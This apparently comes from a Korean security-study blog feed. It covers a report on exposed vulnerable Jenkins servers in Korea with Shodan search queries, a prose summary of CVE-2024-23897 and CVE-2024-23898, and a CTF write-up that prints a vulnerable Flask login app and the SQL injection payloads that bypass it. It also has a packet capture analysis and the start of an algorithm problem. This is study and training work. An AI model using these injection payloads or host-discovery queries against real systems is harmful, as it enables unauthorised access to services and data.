<li><strong>`Korea Telecom</strong>, <strong>SK Broadband</strong>, <strong>NAVER Cloud</strong>` 등 주요 통신사와 클라우드 제공 업체 또한 다수의 취약한 서버를 운영 중이다.<ul>
<li><a href="https://asec.ahnlab.com/en/82348/">oai_citation:3,Jenkins Product Security Update Advisory (CVE-2024-43044) - ASEC</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="위협-요소-및-영향-threat-assessment-and-impact"><strong>위협 요소 및 영향 (Threat Assessment and Impact)</strong></h2>
<ul>
<li><strong>위협 요소</strong>: Jenkins 서버의 취약점은 공격자가 서버에 악성 코드를 주입하거나 민감한 데이터를 탈취할 수 있는 원격 접근을 허용한다. 이러한 서버가 내부 네트워크와 연결되어 있을 경우, 전체 인프라에 심각한 위협을 초래할 수 있다.</li>
<li><strong>영향 범위</strong>: 한국 내 주요 클라우드 서비스 제공 업체들과 대형 기업들이 Jenkins 서버를 사용하고 있으며, 그중 다수가 취약한 상태에 있다. 이는 국가 전반의 보안, 금융 서비스, 의료, IT 인프라에 악영향을 미칠 수 있다.<ul>
<li><strong>금융 산업:</strong> 금융 거래와 고객 데이터를 보호해야 하는 금융 기관은 원격 코드 실행(RCE) 공격을 통해 자금 탈취, 거래 조작, 고객 정보 유출 등의 위험에 노출될 가능성이 있다.</li>
<li><strong>의료 산업:</strong> 의료 기관에서 Jenkins 서버를 사용하는 경우, 환자의 민감한 의료 기록이 유출되거나 시스템이 마비되어 중요한 의료 서비스 제공이 중단될 수 있다.</li>
<li><strong>공공기관:</strong> 공공 부문에서 발생하는 공격은 국가 기반 시설에 대한 위협을 가중한다. 서버 장악 및 데이터 유출은 국가 안보에 심각한 영향을 미칠 수 있다.</li>
</ul>
</li>
</ul>
<hr>
<h2 id="권장-사항-recommendations"><strong>권장 사항 (Recommendations)</strong></h2>
<ul>
<li><p><strong>신속한 보안 패치 적용</strong></p>
<ul>
<li>Jenkins 취약점(CVE-2024-23897 및 CVE-2024-43044) 해결 패치를 즉시 적용하고, 향후 자동 업데이트 또는 보안 업데이트 알림을 활성화하여 최신 보안 상태를 유지한다.</li>
</ul>
</li>
<li><p><strong>기본 포트 변경 외 추가적인 보안 강화</strong></p>
<ul>
<li>기본 포트 변경(8080에서 비표준 포트로 변경) 외에도 <strong>VLAN</strong> 또는 <strong>VPN</strong>을 통해 Jenkins 서버 내부 접근만 허용하여 외부로부터의 접근을 차단할 수 있다.</li>
</ul>
</li>
<li><p><strong>접근 제어 리스트(ACL) 설정</strong></p>
<ul>
<li><strong>IP 허용 목록</strong>을 설정해 허가된 IP에서만 Jenkins 서버에 접근할 수 있도록 접근 제어를 강화한다.</li>
<li>서버 접근 허용 사용자의 범위가 최소화되어 있는지 확인한다.</li>
</ul>
</li>
<li><p><strong>다중 인증(MFA) 및 강력한 패스워드 정책 도입</strong></p>
<ul>
<li>다중 인증 외에도 <strong>비밀번호 길이, 복잡성, 만료 주기</strong>와 같은 강력한 패스워드 정책을 설정하여 외부 공격으로부터 추가적인 방어를 확보한다.</li>
<li>비인가 사용자의 서버 접근을 방지하기 위해 관리자가 정기적으로 정책을 점검한다.</li>
</ul>
</li>
<li><p><strong>서버 로그 분석 및 알림 설정</strong></p>
<ul>
<li>Jenkins 서버의 로그를 중앙화된 <strong>SIEM(Security Information and Event Management)</strong> 시스템과 연동하여 자동화된 로그 분석 및 경고 시스템을 구축한다. 이를 통해 비정상적인 활동을 실시간으로 탐지할 수 있도록 한다.</li>
</ul>
</li>
<li><p><strong>서버 접근에 대한 제로 트러스트 정책 적용</strong></p>
<ul>
<li>원격 접속이나 CI/CD 파이프라인에 대해 <strong>제로 트러스트(Zero Trust)</strong> 접근 방식을 도입하여, 매번 모든 사용자와 기기의 신원을 검증하고 최소 권한 원칙을 유지하도록 한다.</li>
</ul>
</li>
</ul>
<hr>
<h2 id="conclusion"><strong>Conclusion</strong></h2>
<p>이 보고서는 한국 내 노출된 Jenkins 서버의 보안 상태를 분석하였으며, 다수의 서버가 심각한 취약점에 노출되어 있음을 확인하였다. 이를 해결하기 위해서는 신속한 보안 패치 적용 및 강화된 접근 제어 정책을 통해 국가와 기업의 사이버 방어 능력을 향상해야 할 필요가 있다. 추가로, 지속적인 보안 모니터링과 대응 계획을 마련함으로써 잠재적인 보안 사고를 예방하는 것이 중요하고 판단된다. 빠르고 체계적인 대응이야말로 사이버 위협으로부터 안전한 환경을 구축하는 핵심이기 때문이다.</p>
<hr>
<h2 id="references"><strong>References</strong></h2>
<ul>
<li>Shodan 검색 쿼리:<ul>
<li><code>&quot;Jenkins&quot; country:&quot;KR”</code> - 설치된 총 한국 지역 Jenkins 서버</li>
<li><code>product: Jenkins country: KR</code> - 실행 되고 있는 한국 지역 Jenkins 서버</li>
</ul>
</li>
<li>CVE Database: <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-23897">CVE-2024-23897</a></li>
<li>ASEC 보안 리포트: <a href="https://asec.ahnlab.com/en/82348/">ASEC Jenkins Vulnerability</a></li>
<li>Criminal IP: <a href="https://www.criminalip.io/ko/asset/search?query=product%3A+Jenkins">Criminal IP Jenkins Search</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[CVE-2024-23897 정리]]></title>
            <link>https://velog.io/@hae_to/CVE-2024-23897-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91-%EB%B0%8F-%EB%8C%80%EC%9D%91</link>
            <guid>https://velog.io/@hae_to/CVE-2024-23897-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91-%EB%B0%8F-%EB%8C%80%EC%9D%91</guid>
            <pubDate>Thu, 08 May 2025 09:04:09 GMT</pubDate>
            <description><![CDATA[<h2 id="1-cve-2024-23897">1. <strong>CVE-2024-23897</strong></h2>
<ul>
<li><p>**Arbitrary file read vulnerability through the CLI can lead to RCE</p>
</li>
<li><p>SECURITY-3314 / CVE-2024-23897</p>
</li>
<li><p>Severity (CVSS):** <a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">Critical</a></p>
<h3 id="개요">개요</h3>
<p>  SECURITY-3314 및 CVE-2024-23897는 Jenkins CLI에서 <strong>임의 파일 읽기 취약점(Arbitrary File Read)</strong>이 존재하며, 이를 가장 최악의 상황으로 악용하면 <strong>원격 코드 실행(RCE)</strong>이 발생할 가능성이 있다. Jenkins의 명령줄 인터페이스(이하 CLI)를 악용하여 공격자가 Jenkins 컨트롤러에서 파일을 읽어내고, 특정 조건에서 원격 코드 실행 등의 공격을 수행할 수 있다.</p>
<h3 id="본론">본론</h3>
<ol>
<li><p><strong>취약점 개요</strong>:</p>
<ul>
<li>Jenkins는 명령 구문 분석을 위해 <code>args4j</code>라이브러리를 사용하며, 이때 명령 인수에서 “@” 문자를 포함하는 파일 경로 뒤에 오는 파일의 내용을 인자로 대체하는 기능이 기본적으로 활성화되어 있다.</li>
<li>Jenkins 2.441 이하 및 LTS 2.426.2 이하에서는 이를 비활성화할 수 없다. 공격자는 이것을 악용하여 컨트롤러 파일 시스템에서 임의의 파일을 읽을 수 있다.</li>
<li>공격자가 읽을 수 있는 파일의 범위는 권한에 따라 달라지며, 전체/읽기 권한이 없는 경우에도 파일의 첫 몇 줄은 읽을 수 있다.</li>
</ul>
</li>
<li><p><strong>원격 코드 실행 (RCE) 공격 방법</strong>:</p>
<ul>
<li><strong>리소스 루트 URL을 통한 RCE</strong>: WebSocket 지원이 활성화되고 특정 조건이 충족되면 공격자가 바이너리 파일의 암호화 키를 이용해 원격 코드 실행이 가능하다.</li>
<li><strong>&quot;Remember me&quot; 쿠키를 통한 RCE</strong>: 공격자가 위조된 &quot;Remember me&quot; 쿠키를 사용하여 Jenkins 관리자 권한으로 로그인할 수 있으며, 이로 인해 스크립트 콘솔에 접근하여 코드를 실행할 수 있다.</li>
<li><strong>XSS(크로스 사이트 스크립팅)를 통한 RCE</strong>: 빌드 로그에 악성 JavaScript 코드를 주입하여 원격 코드 실행 공격을 할 수 있다.</li>
<li><strong>CSRF(사이트 간 요청 위조) 보호 우회를 통한 RCE</strong>: 공격자는 CSRF 토큰을 위조하여 Jenkins에 악의적인 요청을 보내 원격 코드를 실행할 수 있다.</li>
</ul>
</li>
<li><p><strong>임의 파일 읽기 취약점의 영향</strong>:</p>
<ul>
<li>공격자는 바이너리 파일에서 암호화된 비밀을 포함한 데이터를 읽을 수 있고 이는 Jenkins 인스턴스의 기밀성, 무결성, 가용성에 심각한 영향을 미칠 수 있다.</li>
<li>UTF-8 인코딩을 사용하는 대부분의 Linux 및 Mac OS X 시스템에서 바이너리 파일의 절반 정도가 읽히지 않지만, Windows 시스템에서는 이에 대한 제한이 상대적으로 적다.</li>
</ul>
</li>
<li><p><strong>수정 및 해결 방법</strong>:</p>
<ul>
<li>Jenkins 2.442, LTS 2.426.3 및 LTS 2.440.1 버전에서 취약점을 해결하기 위한 수정이 이루어졌다. 이 버전들은 <code>args4j</code>라이브러리의 취약한 기능을 비활성화하여 CLI 명령 구문에서 파일 경로 뒤의 문자를 파일 내용으로 대체하는 기능을 차단했다.</li>
<li>Jenkins CLI 액세스를 완전히 <strong>비활성화하거나 최신 버전으로 업데이트하는 것</strong>이 최선의 해결책이며 해당 해결책을 적용하기 위해서는 시스템을 재시작할 필요는 없다.</li>
</ul>
<h3 id="결론">결론</h3>
<p>Jenkins의 <strong>임의 파일 읽기 취약점</strong>은 공격자가 시스템에 접근하여 파일을 읽고, 여러 방법으로 <strong>원격 코드 실행(RCE)</strong>을 수행할 수 있는 심각한 보안 문제이다. 이를 방지하기 위해서는 Jenkins를 최신 버전으로 업그레이드하거나 CLI를 비활성화하는 것이 필요합니다. 해당 취약점은 기밀성, 무결성, 가용성에 모두 영향을 미치기에 가능한 빠르게 조치를 취하는 것이 중요하다.</p>
</li>
</ol>
</li>
</ul>
<hr>
<ul>
<li><p>**Cross-site WebSocket hijacking vulnerability in the CLI </p>
</li>
<li><p>SECURITY-3315 / CVE-2024-23898</p>
</li>
<li><p>Severity (CVSS):** <a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">High</a></p>
<h3 id="개요-1">개요</h3>
<p>  <strong>SECURITY-3315</strong> 및 <strong>CVE-2024-23898</strong>는 Jenkins의 <strong>WebSocket 엔드포인트를 통한 CLI 접근</strong>과 관련된 <strong>크로스 사이트 WebSocket 하이재킹(CSWSH)</strong> 취약점. 이 취약점은 Jenkins의 CLI WebSocket 엔드포인트에서 <strong>출처 검증</strong>을 수행하지 않아 발생하며, 이를 통해 공격자가 CLI 명령어를 실행하여 관리자 권한으로도 <strong>원격 코드 실행(RCE)</strong> 등의 공격을 수행할 수 있다.</p>
<h3 id="본론-1">본론</h3>
<ol>
<li><p><strong>취약점 설명</strong>:</p>
<ul>
<li>Jenkins 2.217부터 LTS 2.222.1 이상에서는 CLI에 WebSocket을 통해 접근할 수 있는 기능이 추가되었다. 이 기능은 Jenkins가 WebSocket을 지원하는 Jetty 버전에서 실행될 때 활성화됩니다.</li>
<li>Jenkins 2.217<del>2.441 및 LTS 2.222.1</del>2.426.2 버전에서는 WebSocket 엔드포인트의 출처(origin) 검증이 이루어지지 않아 <strong>CSWSH</strong> 공격에 노출된다.</li>
<li>또한, Jenkins는 <strong>SameSite 속성</strong>을 명시적으로 설정하지 않은 세션 쿠키를 사용하므로, 이로 인해 교차 사이트 요청에서 세션 쿠키가 사용될 수 있다. 이는 최신 웹 브라우저에서 SameSite 속성이 기본값으로 &quot;Lax&quot;로 설정되어 있어 제한적이지만, 익명 사용자나 특정 브라우저에서는 이 취약점을 악용할 수 있다.</li>
</ul>
</li>
<li><p><strong>공격 시나리오</strong>:</p>
<ul>
<li><strong>익명 사용자의 권한</strong>에 따라 공격자는 Jenkins CLI 명령을 실행할 수 있다.</li>
<li>익명 사용자가 권한이 없으면 제한된 정보만 얻을 수 있지만, 익명 사용자에게 권한이 부여된 경우에는 <strong>Groovy 스크립팅</strong>을 통한 임의 코드 실행이 가능하다.</li>
<li><strong>SameSite 속성 설정이 &quot;Lax&quot;가 아닌 경우</strong>에는 피해자가 로그인이 된 상태로 공격을 당할 수 있다.</li>
<li>공격자는 피해자의 권한을 사용하여 CLI 명령을 실행할 수 있습니다. Jenkins 관리자의 경우, 이로 인해 <strong>임의 코드 실행</strong>이 발생할 수 있다.</li>
</ul>
</li>
<li><p><strong>수정 및 해결 방법</strong>:</p>
<ul>
<li>Jenkins <code>2.442</code>, LTS <code>2.426.3</code> 및 LTS <code>2.440.1</code> 버전에서는 <strong>CLI WebSocket 엔드포인트에 대한 출처 검증</strong>이 추가되어 이 취약점이 해결되었다.</li>
<li>이 수정 사항이 문제가 될 경우, Java 시스템 속성 <code>hudson.cli.CLIAction.ALLOW_WEBSOCKET</code>을 <strong>true</strong>로 설정하여 변경 사항을 비활성화할 수 있다.</li>
</ul>
</li>
<li><p><strong>대체 해결책</strong>:</p>
<ul>
<li><strong>CLI 비활성화</strong>: CLI에 대한 접근을 비활성화하면 이 취약점이 완전히 방지되며, 이는 업데이트가 불가능한 관리자를 위한 권장 해결책.</li>
<li><strong>역방향 프록시 설정</strong>: 역방향 프록시를 사용하는 경우, 프록시를 구성하여 WebSocket을 통한 CLI 접근을 차단할 수 있다.</li>
</ul>
<h3 id="결론-1">결론</h3>
</li>
</ol>
<ul>
<li><strong>SECURITY-3315 (CVE-2024-23898)</strong>는 <strong>WebSocket 기반 CLI 접근</strong>에서 발생하는 출처 검증 부족으로 인해 발생하는 취약점.</li>
<li>공격자가 Jenkins에서 <strong>원격 코드 실행</strong>을 할 수 있는 위험이 있으며 이 문제를 해결하기 위해 Jenkins를 <code>2.442</code>나 <code>2.426.3</code> 등의 <strong>최신 버전으로 업데이트</strong>하거나, CLI WebSocket 기능을 비활성화하여 공격을 방지하는 것이 필요하다.</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[SQL 인젝션 문제 풀어보기]]></title>
            <link>https://velog.io/@hae_to/SQL-%EC%9D%B8%EC%A0%9D%EC%85%98-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%96%B4%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@hae_to/SQL-%EC%9D%B8%EC%A0%9D%EC%85%98-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%96%B4%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Thu, 01 May 2025 08:44:58 GMT</pubDate>
            <description><![CDATA[<h2 id="ctf-1--simple_sqli_chatgpt">CTF 1 : <strong>simple_sqli_chatgpt</strong></h2>
<ol>
<li><p>문제 확인
 a. 워게임 사이트의 VM 실행을 통해 문제의 웹 페이지 접속
 b. 단순한 로그인 페이지로 구성된 것을 확인
 <img src="https://velog.velcdn.com/images/hae_to/post/596f5234-1ae8-478f-9d72-2ceff30eac6a/image.png" alt=""></p>
</li>
<li><p>문제 풀이
 a. 크롬 브라우저의 페이지 소스 보기를 통해 서버 코드의 파악 시도</p>
</li>
</ol>
<pre><code>&lt;body&gt;
    &lt;!-- Fixed navbar --&gt;
    &lt;nav class=&quot;navbar navbar-default navbar-fixed-top&quot;&gt;
      &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;navbar-header&quot;&gt;
          &lt;a class=&quot;navbar-brand&quot; href=&quot;/&quot;&gt;Simple SQLi&lt;/a&gt;
        &lt;/div&gt;
        &lt;div id=&quot;navbar&quot;&gt;
          &lt;ul class=&quot;nav navbar-nav&quot;&gt;
            &lt;li&gt;&lt;a href=&quot;/&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;#about&quot;&gt;About&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;#contact&quot;&gt;Contact&lt;/a&gt;&lt;/li&gt;
          &lt;/ul&gt;

          &lt;ul class=&quot;nav navbar-nav navbar-right&quot;&gt;
            &lt;li&gt;&lt;a href=&quot;/login&quot;&gt;Login&lt;/a&gt;&lt;/li&gt;
          &lt;/ul&gt;

        &lt;/div&gt;&lt;!--/.nav-collapse --&gt;
      &lt;/div&gt;
    &lt;/nav&gt;

    &lt;div class=&quot;container&quot;&gt;

&lt;h1&gt;Login&lt;/h1&gt;&lt;br/&gt;
&lt;form method=&quot;POST&quot;&gt;
  &lt;div class=&quot;form-group&quot;&gt;
    &lt;label for=&quot;InputId&quot;&gt;userlevel&lt;/label&gt;
    &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;InputLevel&quot; placeholder=&quot;userlevel&quot; name=&quot;userlevel&quot; required&gt;
  &lt;/div&gt;
  &lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot;&gt;Login&lt;/button&gt;
&lt;/form&gt;

    &lt;/div&gt; &lt;!-- /container --&gt;

    &lt;!-- Bootstrap core JavaScript --&gt;
    &lt;script src=&quot;/static/js/jquery.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;/static/js/bootstrap.min.js&quot;&gt;&lt;/script&gt; 
&lt;/body&gt;</code></pre><p>브라우저의 소스코드 보기 기능으로는 서버 코드를 확인이 불가함. 서버사이드렌더링(SSR) 방식으로 파악</p>
<p>b. 가장 기본적인 논리적 조건을 인증 우회 시도 (했으나 실패)</p>
<pre><code>&#39;or&#39;1&#39;=&#39;1&#39;--</code></pre><p>c. 제공된 서버 코드를 통한 분석 시도</p>
<pre><code># app.py
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open(&#39;./flag.txt&#39;, &#39;r&#39;).read()
except:
    FLAG = &#39;[**FLAG**]&#39;

DATABASE = &quot;database.db&quot;
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute(&#39;create table users(userid char(100), userpassword char(100), userlevel integer);&#39;)
    db.execute(f&#39;insert into users(userid, userpassword, userlevel) values (&quot;guest&quot;, &quot;guest&quot;, 0), (&quot;admin&quot;, &quot;{binascii.hexlify(os.urandom(16)).decode(&quot;utf8&quot;)}&quot;, 0);&#39;)
    db.commit()
    db.close()

def get_db():
    db = getattr(g, &#39;_database&#39;, None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, &#39;_database&#39;, None)
    if db is not None:
        db.close()

@app.route(&#39;/&#39;)
def index():
    return render_template(&#39;index.html&#39;)

@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def login():
    if request.method == &#39;GET&#39;:
        return render_template(&#39;login.html&#39;)
    else:
        userlevel = request.form.get(&#39;userlevel&#39;)
        res = query_db(f&quot;select * from users where userlevel=&#39;{userlevel}&#39;&quot;)
        if res:
            userid = res[0]
            userlevel = res[2]
            print(userid, userlevel)
            if userid == &#39;admin&#39; and userlevel == 0:
                return f&#39;hello {userid} flag is {FLAG}&#39;
            return f&#39;&lt;script&gt;alert(&quot;hello {userid}&quot;);history.go(-1);&lt;/script&gt;&#39;
        return &#39;&lt;script&gt;alert(&quot;wrong&quot;);history.go(-1);&lt;/script&gt;&#39;

app.run(host=&#39;0.0.0.0&#39;, port=8000)</code></pre><ul>
<li>해당 서버 코드에서 userlevel이 0일 경우 admin 계정으로 접속이 되어 flag가 적혀져 있는 파일을 읽어 출력하는 것을 파악하였다.</li>
<li>다른 유형의 인젝션 공격 방식으로 시도</li>
</ul>
<ol start="2">
<li>Union SQL 인젝션 공격 시도<ul>
<li>SQL 쿼리를 조작하여 다른 데이터베이스를 접속해 Flag값을 확보 하기 위해 (userlevel)</li>
</ul>
</li>
</ol>
<pre><code>0&#39; and userid=&#39;admin</code></pre><blockquote>
<p><img src="https://velog.velcdn.com/images/hae_to/post/0201cd29-e222-45a6-8f6c-d38c6126acb7/image.png" alt=""> 이 입력은 다음과 같은 SQL 쿼리로 변환된다.</p>
</blockquote>
<pre><code>select * from users where userlevel=&#39;0&#39; and userid=&#39;admin&#39;</code></pre><blockquote>
<p>💡 <strong>SQL Injection 분석</strong>
‘userlevel’ 필드에 ‘0’ and userid=’admin’을 입력했기 때문에, 이 쿼리는 ‘userlevel’이 ‘0’이고 ‘userid’가 ‘admin’인 레코드를 찾으려 한다. 이를 통해 ‘admin’ 사용자의 정보를 직접 조회하려는 시도를 한 것이다.</p>
</blockquote>
<ol start="3">
<li><p>정답 및 결론</p>
<p> 위와 같은 방식으로 쿼리를 조작하면 ‘admin’ 사용자의 정보를 성공적으로 가져오고, 그 결과로 플래그를 획득할 수 있다.
 <img src="https://velog.velcdn.com/images/hae_to/post/cf9e5564-337a-41cf-9fa8-c79959e41493/image.png" alt=""></p>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[네트워크 패킷 샘플 분석]]></title>
            <link>https://velog.io/@hae_to/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%ED%8C%A8%ED%82%B7-%EC%83%98%ED%94%8C-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@hae_to/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%ED%8C%A8%ED%82%B7-%EC%83%98%ED%94%8C-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Thu, 17 Apr 2025 12:20:19 GMT</pubDate>
            <description><![CDATA[<ul>
<li>패킷 분석 결과 약식 작성<ul>
<li>분석 대상<ul>
<li>파일명: <code>200722_tcp_anon.pcapng</code> (Netcat - string, file and characters)</li>
<li>파일 다운로드 URL: <a href="https://wiki.wireshark.org/SampleCaptures#tcp">https://wiki.wireshark.org/SampleCaptures#tcp</a></li>
<li>패킷이 접속한 URL: <a href="https://www.rfc-editor.org/rfc/rfc2549.html">https://www.rfc-editor.org/rfc/rfc2549.html</a></li>
<li>원문 파일명:  <code>IP over Avian Carriers with Quality of Service</code></li>
</ul>
</li>
<li>분석 결과<ul>
<li>샘플 패킷 정보를 기반으로 행위에 대한 분석 결과 작성<ul>
<li>[참고 자료]
<img src="https://velog.velcdn.com/images/hae_to/post/35ac46d6-90f8-4a7a-821f-495a095c9ec2/image.png" alt="">
<img src="https://velog.velcdn.com/images/hae_to/post/abc04105-04fb-4fbb-b7c8-cb73d3717a84/image.png" alt=""></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<pre><code>            ![[TCP Header 정보](https://www.rfc-editor.org/rfc/rfc793#section-3.1)](https://prod-files-secure.s3.us-west-2.amazonaws.com/3bbf5c9e-8b3d-4be4-a6f6-31914e778834/e7fe14f1-92a0-483a-a40b-6240b6f52de2/image.png)

            [TCP Header 정보](https://www.rfc-editor.org/rfc/rfc793#section-3.1)

            ![[3-Way Handshake 개념](https://afteracademy.com/blog/what-is-a-tcp-3-way-handshake-process/)](https://prod-files-secure.s3.us-west-2.amazonaws.com/3bbf5c9e-8b3d-4be4-a6f6-31914e778834/f56c845d-6982-466b-b3ec-5f04863e143f/image.png)

            [3-Way Handshake 개념](https://afteracademy.com/blog/what-is-a-tcp-3-way-handshake-process/)


---

## 0. 패킷 개요

- 해당 패킷은 총 35패킷으로 이루어져 있다.
- 3-Way Handshake의 대표적인 예시 패킷으로 보임.
[연결 확인]

(1) 클라이언트가 도착할 서버에 SYN 패킷을 보냄. 
(출발지 7875 → 도착지 2000)

(2) 서버는 클라이언트의 SYN 패킷을 수신하고 SYN + ACK 패킷을 보냄. (2000 → 7875) 이때 Ack= +1 증가

(3) 정상 응답 후 클라이언트가 보낸 시퀀스번호에 +1 증가하여 새로운 시퀀스번호를 생성하고 보냄.
    ![](https://velog.velcdn.com/images/hae_to/post/4b29574f-dc45-4ad8-ba17-48f7047baa5b/image.png)



---

## 1. 패킷 상세 분석

1. 패킷 송수신 날짜 확인

    Arrival Time: Jul 23, 2020 11:05:24.234640000 대한민국 표준시 
    (첫 연결 기준)


1. 길이

    66 bytes (528 bits)

    Total Length: 52

    16진수 `00 34` → 10진수 변환 시 52(일치)

2. 도착 연결 지 확인 (이상치 탐지)

    송수신된 패킷 중 데이터(문자열)가 높은 몇 개의 패킷을 발견 해당 패킷을 자세히 분석 진행

    ![](https://velog.velcdn.com/images/hae_to/post/82e62419-9961-4244-b62e-6937f37f464b/image.png)


    ![](https://velog.velcdn.com/images/hae_to/post/c885b6ef-2815-4a65-8082-5f80d491d3ff/image.png)


    - 데이터가 높은 패킷을 확인 결과 무언가를 접속한 듯함 해당 문자열을 출력해 메모장에 옮겨서 분석 실행

    ![](https://velog.velcdn.com/images/hae_to/post/24f2df5b-813c-4bbf-8c98-e97ae0bcbad5/image.png)


    - 프로토콜 설명으로 보이는 문서 내용을 발견 해당 내용의 진위 확인

    ![](https://velog.velcdn.com/images/hae_to/post/7b3841f4-711b-4149-b3ec-055c4a4195d2/image.png)


    - QoS 프로토콜 설명 페이지는 하나의 SPA(Single Page Application) 형식으로 보이나 실제 패킷이 송수신되었을 때는 여러 번 나눠 전달됨.
    - 해당 프로토콜 문서 확인 결과 인터넷의 유희성을 보여주는 사례 중 하나로 볼 수 있음 - 실제로 구현되거나 사용되기 위한 기술 문서가 아님
    - 아래의 하위 페이지는 QoS 프로토콜 전문 및 번역본

        [

        **`IP over Avian Carriers with Quality of Service`**](https://www.notion.so/IP-over-Avian-Carriers-with-Quality-of-Service-3e297778f1254befa821051eb8ae32ff?pvs=21)</code></pre><hr>
<h2 id="2-패킷이-나눠서-통신된-이유featmss">2. 패킷이 나눠서 통신된 이유(feat.MSS)</h2>
<p><img src="https://velog.velcdn.com/images/hae_to/post/8af0ff26-e0b1-484f-a1d6-5be3e54d05a1/image.png" alt=""></p>
<ul>
<li><em>MTU - (TCP 헤더 + IP 헤더) = MSS</em></li>
</ul>
<p>(TCP의 경우 손실(Loss) 발생 시 해당 패킷을 다시 전송해야 하는데 크기가 크면 비용이 너무 많이 든다. 반대로 패킷이 너무 작아도 헤더가 자주 붙어서 오히려 비용이 많이 든다)</p>
<p>본 과제의 첨부된 패킷들의 경우 1460 크기로 5개 + 759 크기 1개로 분할되어 문서가 전달되었음</p>
<h3 id="1460-크기로-분할하여-수신된-이유">[1460 크기로 분할하여 수신된 이유]</h3>
<p>네트워크 라우터의 MTU가 1,500이라고 가정하면 최대 1,500바이트 길이의 패킷만 수신하기 때문이다. (더 긴 패킷은 분편화된다.) </p>
<p><strong><em>MTU - (TCP 헤더 + IP 헤더) = MSS</em></strong></p>
<p><code>*1,500 - (20 + 20) = 1,460*</code></p>
<p>라우터의 MSS는 1,460바이트로 설정해야 합니다. 페이로드 크기가 1,460바이트보다 큰 패킷은 삭제됩니다. (장치는 해당 장치와 다른 장치 사이에 있는 라우터의 MTU 및 MSS 설정을 인식하지 못하는 경우 실수로 이와 같이 지나치게 큰 패킷을 보낼 수 있습니다. 경로 MTU 검색이라고 하는 프로세스는 이러한 사고를 방지하는 데 도움이 됩니다.)</p>
<p>문서의 total크기는 8059이다.</p>
<p>아래의 이미지는 MSS 개념을 설명한다.</p>
<p><img src="https://velog.velcdn.com/images/hae_to/post/f684b2fb-0ac5-42fe-9bbf-121db43273be/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/hae_to/post/493c363e-ddd7-42f5-83a0-163945f6d64f/image.png" alt=""></p>
<p><a href="https://www.cloudflare.com/ko-kr/learning/network-layer/what-is-mss/">https://www.cloudflare.com/ko-kr/learning/network-layer/what-is-mss/</a></p>
<hr>
<h2 id="3-결론-및-의문점">3. 결론 및 의문점</h2>
<ul>
<li><p>해당 패킷 데이터는 TCP 프로토콜이 데이터를 어떻게 송수신되는 지를 보여주는 간단한 캡처 데이터로 파악된다.</p>
</li>
<li><p>26~31 패킷의 경우 작은 데이터로 계속 PSH 응답으로 진행되었는데 이유가 무엇인지 궁금합니다.</p>
<ul>
<li><p><strong>패킷 25~26</strong>: 약 <code>8.65초</code> 지연 발생</p>
<p><img src="blob:https://velog.io/64dd0f29-ee0e-43ef-93e5-8de72171c362" alt="업로드중.."></p>
</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[알고리즘 문제(바이러스 검사, 외주 수익 최대화)]]></title>
            <link>https://velog.io/@hae_to/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-%EB%AC%B8%EC%A0%9C%EB%B0%94%EC%9D%B4%EB%9F%AC%EC%8A%A4-%EA%B2%80%EC%82%AC-%EC%99%B8%EC%A3%BC-%EC%88%98%EC%9D%B5-%EC%B5%9C%EB%8C%80%ED%99%94</link>
            <guid>https://velog.io/@hae_to/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-%EB%AC%B8%EC%A0%9C%EB%B0%94%EC%9D%B4%EB%9F%AC%EC%8A%A4-%EA%B2%80%EC%82%AC-%EC%99%B8%EC%A3%BC-%EC%88%98%EC%9D%B5-%EC%B5%9C%EB%8C%80%ED%99%94</guid>
            <pubDate>Thu, 10 Apr 2025 11:07:29 GMT</pubDate>
            <description><![CDATA[<h1 id="바이러스-검사">바이러스 검사</h1>
<h2 id="문제-설명">문제 설명</h2>
<p>코로나19와 같은 감염병 확산을 막기 위해, 우리는 식당에 방문한 고객들의 체온을 측정해야 합니다.
모든 식당마다 고객의 수가 다르고, 검사자는 검사팀장과 검사팀원으로 나뉘며 검사 가능한 고객 수에 차이가 있습니다.</p>
<ul>
<li><p>각 식당에는 반드시 검사팀장 1명이 있어야 합니다.</p>
</li>
<li><p>검사팀원은 여러 명 있을 수 있으며, 없어도 괜찮습니다.</p>
</li>
